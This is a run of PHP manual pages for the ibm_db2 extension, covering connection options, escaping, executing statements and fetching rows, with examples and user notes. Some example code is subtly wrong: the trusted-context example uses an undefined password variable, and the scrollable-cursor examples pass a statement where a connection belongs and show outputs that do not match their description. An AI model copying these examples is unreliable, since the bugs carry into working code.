To catalog the database, use following commands:

db2 catalog tcpip node loopback remote <SERVERNAME> server <SERVICENAME>
db2 catalog database <LOCALDBNAME> as <REMOTEDBNAME> at node loopback
db2 "update dbm cfg using svcename <SERVICENAME>"
db2set DB2COMM=TCPIP

The following new i5/OS options are available in ibm_db2 version 1.5.1 and later.

i5_lib

A character value that indicates the default library that will be used for resolving unqualified file references. This is not valid if the connection is using system naming mode.

i5_naming

DB2_I5_NAMING_ON value turns on DB2 UDB CLI iSeries system naming mode. Files are qualified using the slash (/) delimiter. Unqualified files are resolved using the library list for the job.

DB2_I5_NAMING_OFF value turns off DB2 UDB CLI default naming mode, which is SQL naming. Files are qualified using the period (.) delimiter. Unqualified files are resolved using either the default library or the current user ID.

i5_commit

The i5_commit attribute should be set before the db2_connect(). If the value is changed after the connection has been established, and the connection is to a remote data source, the change does not take effect until the next successful db2_connect() for the connection handle.

Note:

The php.ini setting ibm_db2.i5_allow_commit==0 or DB2_I5_TXN_NO_COMMIT is the default, but may be overridden with the i5_commit option.

DB2_I5_TXN_NO_COMMIT - Commitment control is not used.

DB2_I5_TXN_READ_UNCOMMITTED - Dirty reads, nonrepeatable reads, and phantoms are possible.

DB2_I5_TXN_READ_COMMITTED - Dirty reads are not possible. Nonrepeatable reads, and phantoms are possible.

DB2_I5_TXN_REPEATABLE_READ - Dirty reads and nonrepeatable reads are not possible. Phantoms are possible.

DB2_I5_TXN_SERIALIZABLE - Transactions are serializable. Dirty reads, non-repeatable reads, and phantoms are not possible

i5_query_optimize

DB2_FIRST_IO All queries are optimized with the goal of returning the first page of output as fast as possible. This goal works well when the output is controlled by a user who is most likely to cancel the query after viewing the first page of output data. Queries coded with an OPTIMIZE FOR nnn ROWS clause honor the goal specified by the clause.

DB2_ALL_IO All queries are optimized with the goal of running the entire query to completion in the shortest amount of elapsed time. This is a good option when the output of a query is being written to a file or report, or the interface is queuing the output data. Queries coded with an OPTIMIZE FOR nnn ROWS clause honor the goal specified by the clause. This is the default.

i5_dbcs_alloc

DB2_I5_DBCS_ALLOC_ON value turns on DB2 6X allocation scheme for DBCS translation column size growth.

DB2_I5_DBCS_ALLOC_OFF value turns off DB2 6X allocation scheme for DBCS translation column size growth.

Note: php.ini setting ibm_db2.i5_dbcs_alloc==0 or DB2_I5_DBCS_ALLOC_OFF is the default, but may be overridden with the i5_dbcs_alloc option.

i5_date_fmt

DB2_I5_FMT_ISO - The International Organization for Standardization (ISO) date format yyyy-mm-dd is used. This is the default.

DB2_I5_FMT_USA - The United States date format mm/dd/yyyy is used.

DB2_I5_FMT_EUR - The European date format dd.mm.yyyy is used.

DB2_I5_FMT_JIS - The Japanese Industrial Standard date format yyyy-mm-dd is used.

DB2_I5_FMT_MDY - The date format mm/dd/yyyy is used.

DB2_I5_FMT_DMY - The date format dd/mm/yyyy is used.

DB2_I5_FMT_YMD - The date format yy/mm/dd is used.

DB2_I5_FMT_JUL - The Julian date format yy/ddd is used.

DB2_I5_FMT_JOB - The job default is used.

i5_date_sep

DB2_I5_SEP_SLASH - A slash ( / ) is used as the date separator. This is the default.

DB2_I5_SEP_DASH - A dash ( - ) is used as the date separator.

DB2_I5_SEP_PERIOD - A period ( . ) is used as the date separator.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the date separator.

DB2_I5_SEP_BLANK - A blank is used as the date separator.

DB2_I5_SEP_JOB - The job default is used

i5_time_fmt

DB2_I5_FMT_ISO - The International Organization for Standardization (ISO) time format hh.mm.ss is used. This is the default.

DB2_I5_FMT_USA - The United States time format hh:mmxx is used, where xx is AM or PM.

DB2_I5_FMT_EUR - The European time format hh.mm.ss is used.

DB2_I5_FMT_JIS - The Japanese Industrial Standard time format hh:mm:ss is used.

DB2_I5_FMT_HMS - The hh:mm:ss format is used.

i5_time_sep

DB2_I5_SEP_COLON - A colon ( : ) is used as the time separator. This is the default.

DB2_I5_SEP_PERIOD - A period ( . ) is used as the time separator.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the time separator.

DB2_I5_SEP_BLANK - A blank is used as the time separator.

DB2_I5_SEP_JOB - The job default is used.

i5_decimal_sep

DB2_I5_SEP_PERIOD - A period ( . ) is used as the decimal separator. This is the default.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the decimal separator.

DB2_I5_SEP_JOB - The job default is used.

The following new i5/OS option is available in ibm_db2 version 1.8.0 and later.

i5_libl

A character value that indicates the library list that will be used for resolving unqualified file references. Specify the library list elements separated by blanks 'i5_libl'=>"MYLIB YOURLIB ANYLIB".

Note:

i5_libl calls qsys2/qcmdexc('cmd',cmdlen), which is only available in i5/OS V5R4 and later.

Return Values

Returns a connection handle resource if the connection attempt is successful. If the connection attempt fails, db2_connect() returns FALSE.

Examples

Example #1 Creating a cataloged connection

Cataloged connections require you to have previously cataloged the target database through the DB2 Command Line Processor (CLP) or DB2 Configuration Assistant.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

$conn = db2_connect($database, $user, $password);

if ($conn) {
    echo "Connection succeeded.";
    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>

The above example will output:

Connection succeeded.

Example #2 Creating an uncataloged connection

An uncataloged connection enables you to dynamically connect to a database.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';
$hostname = 'localhost';
$port = 50000;

$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;" .
  "HOSTNAME=$hostname;PORT=$port;PROTOCOL=TCPIP;UID=$user;PWD=$password;";
$conn = db2_connect($conn_string, '', '');

if ($conn) {
    echo "Connection succeeded.";
    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>

The above example will output:

Connection succeeded.

Example #3 Creating a connection with autocommit off by default

Passing an array of options to db2_connect() enables you to modify the default behavior of the connection handle.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);

$conn = db2_connect($database, $user, $password, $options);

if ($conn) {
    echo "Connection succeeded.\n";
    if (db2_autocommit($conn)) {
         echo "Autocommit is on.\n";
    }
    else {
         echo "Autocommit is off.\n";
    }
    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>

The above example will output:

Connection succeeded.
Autocommit is off.

Example #4 i5/OS best performance

To achieve best performance for your i5/OS ibm_db2 1.5.1 PHP application use the default host, userid, and password for your db2_connect().

<?php
  $library = "ADC";
  $i5 = db2_connect("", "", "", array("i5_lib"=>"qsys2"));
  $result = db2_exec($i5,
       "select * from systables where table_schema = '$library'");
  while ($row = db2_fetch_both($result)) {
     echo $row['TABLE_NAME']."</br>";
  }
  db2_close($i5);
?>

The above example will output:

ANIMALS
NAMES
PICTURES

Example #5 Using trusted context

The following example shows how to enable trusted context, switch users, and get the current user ID.

<?php

$database = "SAMPLE";
$hostname = "localhost";
$port = 50000;
$authID = "db2inst1";
$auth_pass = "ibmdb2";

$tc_user = "tcuser";
$tc_pass = "tcpassword";

$dsn = "DATABASE=$database;HOSTNAME=$hostname;PORT=$port;
  PROTOCOL=TCPIP;UID=$authID;PWD=$auth_pass;";
$options = array ("trustedcontext" => DB2_TRUSTED_CONTEXT_ENABLE);

$tc_conn = db2_connect($dsn, "", "", $options);
if($tc_conn) {
    echo "Explicit trusted connection succeeded.\n";

    if(db2_get_option($tc_conn, "trustedcontext")) {
        $userBefore = db2_get_option($tc_conn, "trusted_user");

        //Do some work as user 1.

        //Switching to trusted user.
        $parameters = array("trusted_user" => $tc_user,
          "trusted_password" => $tcuser_pass);
        $res = db2_set_option ($tc_conn, $parameters, 1);

        $userAfter = db2_get_option($tc_conn, "trusted_user");
        //Do more work as trusted user.

        if($userBefore != $userAfter) {
            echo "User has been switched." . "\n";
        }
    }

    db2_close($tc_conn);
}
else {
    echo "Explicit trusted connection failed.\n";
}
?>

The above example will output:

Explicit trusted connection succeeded.
User has been switched.

See Also

  • db2_close() - Closes a database connection
  • db2_pconnect() - Returns a persistent connection to a database

User Contributed Notes

There are no user contributed notes for this page.
db2_conn_errormsg
db2_cursor_type
IBM DB2 Functions


Returns the cursor type used by a statement resource

db2_connect
db2_escape_string
IBM DB2 Functions
PHP Manual

db2_cursor_type

(PECL ibm_db2 >= 1.0.0)

db2_cursor_type — Returns the cursor type used by a statement resource

Description

int db2_cursor_type ( resource $stmt )

Returns the cursor type used by a statement resource. Use this to determine if you are working with a forward-only cursor or scrollable cursor.

Parameters

stmt

A valid statement resource.

Return Values

Returns either DB2_FORWARD_ONLY if the statement resource uses a forward-only cursor or DB2_SCROLLABLE if the statement resource uses a scrollable cursor.

See Also

  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

There are no user contributed notes for this page.
db2_connect
db2_escape_string
IBM DB2 Functions


Used to escape certain characters

db2_cursor_type
db2_exec
IBM DB2 Functions
PHP Manual

db2_escape_string

(PECL ibm_db2 >= 1.6.0)

db2_escape_string — Used to escape certain characters

Description

string db2_escape_string ( string $string_literal )

Prepends backslashes to special characters in the string argument.

Parameters

string_literal

The string that contains special characters that need to be modified. Characters that are prepended with a backslash are \x00, \n, \r, \, ', " and \x1a.

Return Values

Returns string_literal with the special characters noted above prepended with backslashes.

Examples

Example #1 A db2_escape_string() example

Result of using the db2_escape_string() function

<?php

$conn = db2_connect($database, $user, $password);

if ($conn) {
    $str[0] = "All characters: \x00 , \n , \r , \ , ' , \" , \x1a .";
    $str[1] = "Backslash (\). Single quote ('). Double quote (\")";
    $str[2] = "The NULL character \0 must be quoted as well";
    $str[3] = "Intersting characters: \x1a , \x00 .";
    $str[4] = "Nothing to quote";
    $str[5] = 200676;
    $str[6] = "";

    foreach( $str as $string ) {
        echo "db2_escape_string: " . db2_escape_string($string). "\n";
    }
}
?>

The above example will output:

db2_escape_string: All characters: \0 , \n , \r , \\ , \' , \" , \Z .
db2_escape_string: Backslash (\\). Single quote (\'). Double quote (\")
db2_escape_string: The NULL character \0 must be quoted as well
db2_escape_string: Intersting characters: \Z , \0 .
db2_escape_string: Nothing to quote
db2_escape_string: 200676
db2_escape_string:

See Also

  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

hippyjim 27-May-2009 06:52
One thing to note here - don't know if it applies to all DB2 installations, and I know I'm using an antiquated one, but my DB2 install wants a ' to be quoted rather than slashed.

That means this function is useless to pick up apostrophes ' in strings, as it adds a slash which DB2 ignores.

You'll need to use something like str_replace to swap your ' for ''.
db2_cursor_type
db2_exec
IBM DB2 Functions


Executes an SQL statement directly

db2_escape_string
db2_execute
IBM DB2 Functions
PHP Manual

db2_exec

(PECL ibm_db2 >= 1.0.0)

db2_exec — Executes an SQL statement directly

Description

resource db2_exec ( resource $connection , string $statement [, array $options ] )

Executes an SQL statement directly.

If you plan to interpolate PHP variables into the SQL statement, understand that this is one of the more common security exposures. Consider calling db2_prepare() to prepare an SQL statement with parameter markers for input values. Then you can call db2_execute() to pass in the input values and avoid SQL injection attacks.

If you plan to repeatedly issue the same SQL statement with different parameters, consider calling db2_prepare() and db2_execute() to enable the database server to reuse its access plan and increase the efficiency of your database access.

Parameters

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

statement

An SQL statement. The statement cannot contain any parameter markers.

options

An associative array containing statement options. You can use this parameter to request a scrollable cursor on database servers that support this functionality.

For a description of valid statement options, see db2_set_option().

Return Values

Returns a statement resource if the SQL statement was issued successfully, or FALSE if the database failed to execute the SQL statement.

Examples

Example #1 Creating a table with db2_exec()

The following example uses db2_exec() to issue a set of DDL statements in the process of creating a table.

<?php
$conn = db2_connect($database, $user, $password);

// Create the test table
$create = 'CREATE TABLE animals (id INTEGER, breed VARCHAR(32),
    name CHAR(16), weight DECIMAL(7,2))';
$result = db2_exec($conn, $create);
if ($result) {
    print "Successfully created the table.\n";
}

// Populate the test table
$animals = array(
    array(0, 'cat', 'Pook', 3.2),
    array(1, 'dog', 'Peaches', 12.3),
    array(2, 'horse', 'Smarty', 350.0),
    array(3, 'gold fish', 'Bubbles', 0.1),
    array(4, 'budgerigar', 'Gizmo', 0.2),
    array(5, 'goat', 'Rickety Ride', 9.7),
    array(6, 'llama', 'Sweater', 150)
);

foreach ($animals as $animal) {
    $rc = db2_exec($conn, "INSERT INTO animals (id, breed, name, weight)
      VALUES ({$animal[0]}, '{$animal[1]}', '{$animal[2]}', {$animal[3]})");
    if ($rc) {
        print "Insert... ";
    }
}
?>

The above example will output:

Successfully created the table.
Insert... Insert... Insert... Insert... Insert... Insert... Insert...

Example #2 Executing a SELECT statement with a scrollable cursor

The following example demonstrates how to request a scrollable cursor for an SQL statement issued by db2_exec().

<?php
$conn = db2_connect($database, $user, $password);
$sql = "SELECT name FROM animals
    WHERE weight < 10.0
    ORDER BY name";
if ($conn) {
    require_once('prepare.inc');
    $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
    while ($row = db2_fetch_array($stmt)) {
        print "$row[0]\n";
    }
}
?>

The above example will output:

Bubbles
Gizmo
Pook
Rickety Ride

Example #3 Returning XML data as an SQL ResultSet

The following example demonstrates how to work with documents stored in a XML column using the SAMPLE database. Using some pretty simple SQL/XML, this example returns some of the nodes in a XML document in an SQL ResultSet format that most users are familiar with.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = 'SELECT * FROM XMLTABLE(
    XMLNAMESPACES (DEFAULT \'http://posample.org\'),
    \'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
    COLUMNS
    "CID" VARCHAR (50) PATH \'@Cid\',
    "NAME" VARCHAR (50) PATH \'name\',
    "PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
    ) AS T
    WHERE NAME = \'Kathy Smith\'
    ';
$stmt = db2_exec($conn, $query);

while($row = db2_fetch_object($stmt)){
    printf("$row->CID     $row->NAME     $row->PHONE\n");
}
db2_close($conn);

?>

The above example will output:

1000     Kathy Smith     416-555-1358
1001     Kathy Smith     905-555-7258

Example #4 Performing a "JOIN" with XML data

The following example works with documents stored in 2 different XML columns in the SAMPLE database. It creates 2 temporary tables from the XML documents from 2 different columns and returns an SQL ResultSet with information regarding shipping status for the customer.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
    SELECT A.CID, A.NAME, A.PHONE, C.PONUM, C.STATUS
    FROM
    XMLTABLE(
    XMLNAMESPACES (DEFAULT \'http://posample.org\'),
    \'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
    COLUMNS
    "CID" BIGINT PATH \'@Cid\',
    "NAME" VARCHAR (50) PATH \'name\',
    "PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
    ) as A,
    PURCHASEORDER AS B,
    XMLTABLE (
    XMLNAMESPACES (DEFAULT \'http://posample.org\'),
    \'db2-fn:xmlcolumn("PURCHASEORDER.PORDER")/PurchaseOrder\'
    COLUMNS
    "PONUM"  BIGINT PATH \'@PoNum\',
    "STATUS" VARCHAR (50) PATH \'@Status\'
    ) as C
    WHERE A.CID = B.CUSTID AND
    B.POID = C.PONUM AND
    A.NAME = \'Kathy Smith\'
';

$stmt = db2_exec($conn, $query);

while($row = db2_fetch_object($stmt)){
    printf("$row->CID     $row->NAME     $row->PHONE     $row->PONUM     $row->STATUS\n");
}

db2_close($conn);

?>

The above example will output:

1001     Kathy Smith     905-555-7258     5002     Shipped

Example #5 Returning SQL data as part of a larger XML document

The following example works with a portion of the PRODUCT.DESCRIPTION documents in the SAMPLE database. It creates a XML document containing product description (XML data) and pricing info (SQL data).

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT
XMLSERIALIZE(
XMLQUERY(\'
    declare boundary-space strip;
    declare default element namespace "http://posample.org";
    <promoList> {
    for $prod in $doc/product
    where $prod/description/price < 10.00
    order by $prod/description/price ascending
    return(
        <promoitem> {
        $prod,
        <startdate> {$start} </startdate>,
        <enddate> {$end} </enddate>,
        <promoprice> {$promo} </promoprice>
        } </promoitem>
    )
    } </promoList>
\' passing by ref DESCRIPTION AS "doc",
PROMOSTART as "start",
PROMOEND as "end",
PROMOPRICE as "promo"
RETURNING SEQUENCE)
AS CLOB (32000))
AS NEW_PRODUCT_INFO
FROM PRODUCT
WHERE PID = \'100-100-01\'
';

$stmt = db2_exec($conn, $query);

while($row = db2_fetch_array($stmt)){
    printf("$row[0]\n");
}
db2_close($conn);

?>

The above example will output:

<promoList xmlns="http://posample.org">
    <promoitem>
    <product pid="100-100-01">
        <description>
            <name>Snow Shovel, Basic 22 inch</name>
            <details>Basic Snow Shovel, 22 inches wide, straight handle with D-Grip</details>
            <price>9.99</price>
            <weight>1 kg</weight>
        </description>
    </product>
    <startdate>2004-11-19</startdate>
    <enddate>2004-12-19</enddate>
    <promoprice>7.25</promoprice>
    </promoitem>
</promoList>

See Also

  • db2_execute() - Executes a prepared SQL statement
  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

duc 12-Aug-2006 06:38
if you have the error message : PHP Warning:  db2_exec() [<a href='function.db2-exec'>function.db2-exec</a>]: Statement Execute Failed in (....)
and cannot display the error message using db2_stmt_errormsg() , then check if your database connection handle is (still) valid
shawn at frozen-o dot com 19-May-2006 10:34
If you need to "emulate" offset/limit (as PEAR::DB puts it) for db2 queries, you will definitely need to add array('cursor' => DB2_SCROLLABLE) to your db2_exec() call. Otherwise, you will get nothing useful from db2_fetch_{whatever}() when you try to (see following hack for example):

<?php
$limit = 10;
$offset = 20;

for ($i = 0; $i < $limit && $row = db2_fetch_array($result, $offset + $i); $i++) {
    // stuff goes here
}
?>

You can accomplish the same time of thing using sub-selects, "with" statements and other things new to me in the world of DB2, but the more dynamically generated the queries, the more difficult it gets to implement limit/offset behavior on the fly.
db2_escape_string
db2_execute
IBM DB2 Functions


Executes a prepared SQL statement

db2_exec
db2_fetch_array
IBM DB2 Functions
PHP Manual

db2_execute

(PECL ibm_db2 >= 1.0.0)

db2_execute — Executes a prepared SQL statement

Description

bool db2_execute ( resource $stmt [, array $parameters ] )

db2_execute() executes an SQL statement that was prepared by db2_prepare().

If the SQL statement returns a result set, for example, a SELECT statement or a CALL to a stored procedure that returns one or more result sets, you can retrieve a row as an array from the stmt resource using db2_fetch_assoc(), db2_fetch_both(), or db2_fetch_array(). Alternatively, you can use db2_fetch_row() to move the result set pointer to the next row and fetch a column at a time from that row with db2_result().

Refer to db2_prepare() for a brief discussion of the advantages of using db2_prepare() and db2_execute() rather than db2_exec().

Parameters

stmt

A prepared statement returned from db2_prepare().

parameters

An array of input parameters matching any parameter markers contained in the prepared statement.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Preparing and executing an SQL statement with parameter markers

The following example prepares an INSERT statement that accepts four parameter markers, then iterates over an array of arrays containing the input values to be passed to db2_execute().

<?php
$pet = array(0, 'cat', 'Pook', 3.2);

$insert = 'INSERT INTO animals (id, breed, name, weight)
    VALUES (?, ?, ?, ?)';

$stmt = db2_prepare($conn, $insert);
if ($stmt) {
    $result = db2_execute($stmt, $pet);
    if ($result) {
        print "Successfully added new pet.";
    }
}
?>

The above example will output:

Successfully added new pet.

Example #2 Calling a stored procedure with an OUT parameter

The following example prepares a CALL statement that accepts one parameter marker representing an OUT parameter, binds the PHP variable $my_pets to the parameter using db2_bind_param(), then issues db2_execute() to execute the CALL statement. After the CALL to the stored procedure has been made, the value of $num_pets changes to reflect the value returned by the stored procedure for that OUT parameter.

<?php
$num_pets = 0;
$res = db2_prepare($conn, "CALL count_my_pets(?)");
$rc = db2_bind_param($res, 1, "num_pets", DB2_PARAM_OUT);
$rc = db2_execute($res);
print "I have $num_pets pets!";
?>

The above example will output:

I have 7 pets!

Example #3 Returning XML data as an SQL ResultSet

The following example demonstrates how to work with documents stored in a XML column using the SAMPLE database. Using some pretty simple SQL/XML, this example returns some of the nodes in a XML document in an SQL ResultSet format that most users are familiar with.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = 'SELECT * FROM XMLTABLE(
    XMLNAMESPACES (DEFAULT \'http://posample.org\'),
    \'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
    COLUMNS
    "CID" VARCHAR (50) PATH \'@Cid\',
    "NAME" VARCHAR (50) PATH \'name\',
    "PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
    ) AS T
    WHERE NAME = ?
    ';

$stmt = db2_prepare($conn, $query);

$name = 'Kathy Smith';

if ($stmt) {
    db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
    db2_execute($stmt);

    while($row = db2_fetch_object($stmt)){
    printf("$row->CID     $row->NAME     $row->PHONE\n");
    }
}
db2_close($conn);

?>

The above example will output:

1000     Kathy Smith     416-555-1358
1001     Kathy Smith     905-555-7258

Example #4 Performing a "JOIN" with XML data

The following example works with documents stored in 2 different XML columns in the SAMPLE database. It creates 2 temporary tables from the XML documents from 2 different columns and returns an SQL ResultSet with information regarding shipping status for the customer.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT A.CID, A.NAME, A.PHONE, C.PONUM, C.STATUS
FROM
XMLTABLE(
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
COLUMNS
"CID" BIGINT PATH \'@Cid\',
"NAME" VARCHAR (50) PATH \'name\',
"PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
) as A,
PURCHASEORDER AS B,
XMLTABLE (
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("PURCHASEORDER.PORDER")/PurchaseOrder\'
COLUMNS
"PONUM"  BIGINT PATH \'@PoNum\',
"STATUS" VARCHAR (50) PATH \'@Status\'
) as C
WHERE A.CID = B.CUSTID AND
    B.POID = C.PONUM AND
    A.NAME = ?
';

$stmt = db2_prepare($conn, $query);

$name = 'Kathy Smith';

if ($stmt) {
    db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
    db2_execute($stmt);

    while($row = db2_fetch_object($stmt)){
    printf("$row->CID     $row->NAME     $row->PHONE     $row->PONUM     $row->STATUS\n");
    }
}

db2_close($conn);

?>

The above example will output:

1001     Kathy Smith     905-555-7258     5002     Shipped

Example #5 Returning SQL data as part of a larger XML document

The following example works with a portion of the PRODUCT.DESCRIPTION documents in the SAMPLE database. It creates a XML document containing product description (XML data) and pricing info (SQL data).

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT
XMLSERIALIZE(
XMLQUERY(\'
    declare boundary-space strip;
    declare default element namespace "http://posample.org";
    <promoList> {
    for $prod in $doc/product
    where $prod/description/price < 10.00
    order by $prod/description/price ascending
    return(
        <promoitem> {
        $prod,
        <startdate> {$start} </startdate>,
        <enddate> {$end} </enddate>,
        <promoprice> {$promo} </promoprice>
            } </promoitem>
    )
    } </promoList>
\' passing by ref DESCRIPTION AS "doc",
PROMOSTART as "start",
PROMOEND as "end",
PROMOPRICE as "promo"
RETURNING SEQUENCE)
AS CLOB (32000))
AS NEW_PRODUCT_INFO
FROM PRODUCT
WHERE PID = ?
';

$stmt = db2_prepare($conn, $query);

$pid = "100-100-01";

if ($stmt) {
    db2_bind_param($stmt, 1, "pid", DB2_PARAM_IN);
    db2_execute($stmt);

    while($row = db2_fetch_array($stmt)){
    printf("$row[0]\n");
    }
}

db2_close($conn);

?>

The above example will output:

<promoList xmlns="http://posample.org">
    <promoitem>
    <product pid="100-100-01">
        <description>
            <name>Snow Shovel, Basic 22 inch</name>
            <details>Basic Snow Shovel, 22 inches wide, straight handle with D-Grip</details>
            <price>9.99</price>
            <weight>1 kg</weight>
        </description>
    </product>
    <startdate>2004-11-19</startdate>
    <enddate>2004-12-19</enddate>
    <promoprice>7.25</promoprice>
    </promoitem>
</promoList>

See Also

  • db2_exec() - Executes an SQL statement directly
  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_prepare() - Prepares an SQL statement to be executed
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

There are no user contributed notes for this page.
db2_exec
db2_fetch_array
IBM DB2 Functions


Returns an array, indexed by column position, representing a row in a result set

db2_execute
db2_fetch_assoc
IBM DB2 Functions
PHP Manual

db2_fetch_array

(PECL ibm_db2 >= 1.0.1)

db2_fetch_array — Returns an array, indexed by column position, representing a row in a result set

Description

array db2_fetch_array ( resource $stmt [, int $row_number = -1 ] )

Returns an array, indexed by column position, representing a row in a result set. The columns are 0-indexed.

Parameters

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

Return Values

Returns a 0-indexed array with column values indexed by the column position representing the next or requested row in the result set. Returns FALSE if there are no rows left in the result set, or if the row requested by row_number does not exist in the result set.

Examples

Example #1 Iterating through a forward-only cursor

If you call db2_fetch_array() without a specific row number, it automatically retrieves the next row in the result set.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_array($stmt)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row[0], $row[1], $row[2], $row[3]);
}
?>

The above example will output:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Example #2 Retrieving specific rows with db2_fetch_array() from a scrollable cursor

If your result set uses a scrollable cursor, you can call db2_fetch_array() with a specific row number. The following example retrieves every other row in the result set, starting with the second row.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_array($result, $i)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row[0], $row[1], $row[2], $row[3]);
    $i = $i + 2;
}
?>

The above example will output:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

See Also

  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

There are no user contributed notes for this page.
db2_execute
db2_fetch_assoc
IBM DB2 Functions


Returns an array, indexed by column name, representing a row in a result set

db2_fetch_array
db2_fetch_both
IBM DB2 Functions
PHP Manual

db2_fetch_assoc

(PECL ibm_db2 >= 1.0.0)

db2_fetch_assoc — Returns an array, indexed by column name, representing a row in a result set

Description

array db2_fetch_assoc ( resource $stmt [, int $row_number = -1 ] )

Returns an array, indexed by column name, representing a row in a result set.

Parameters

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

Return Values

Returns an associative array with column values indexed by the column name representing the next or requested row in the result set. Returns FALSE if there are no rows left in the result set, or if the row requested by row_number does not exist in the result set.

Examples

Example #1 Iterating through a forward-only cursor

If you call db2_fetch_assoc() without a specific row number, it automatically retrieves the next row in the result set.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_assoc($stmt)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row['ID'], $row['NAME'], $row['BREED'], $row['WEIGHT']);
}
?>

The above example will output:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Example #2 Retrieving specific rows with db2_fetch_assoc() from a scrollable cursor

If your result set uses a scrollable cursor, you can call db2_fetch_assoc() with a specific row number. The following example retrieves every other row in the result set, starting with the second row.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_assoc($result, $i)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row['ID'], $row['NAME'], $row['BREED'], $row['WEIGHT']);
    $i = $i + 2;
}
?>

The above example will output:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

See Also

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

There are no user contributed notes for this page.
db2_fetch_array
db2_fetch_both
IBM DB2 Functions


Returns an array, indexed by both column name and position, representing a row in a result set

db2_fetch_assoc
db2_fetch_object
IBM DB2 Functions
PHP Manual

db2_fetch_both

(PECL ibm_db2 >= 1.0.0)

db2_fetch_both — Returns an array, indexed by both column name and position, representing a row in a result set

Description

array db2_fetch_both ( resource $stmt [, int $row_number = -1 ] )

Returns an array, indexed by both column name and position, representing a
row in a result set. Note that the row returned by
db2_fetch_both() requires more memory than the
single-indexed arrays returned by db2_fetch_assoc() or
db2_fetch_array().

Parameters

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

Return Values

Returns an associative array with column values indexed by both the column name and 0-indexed column number. The array represents the next or requested row in the result set. Returns FALSE if there are no rows left in the result set, or if the row requested by row_number does not exist in the result set.

Examples

Example #1 Iterating through a forward-only cursor

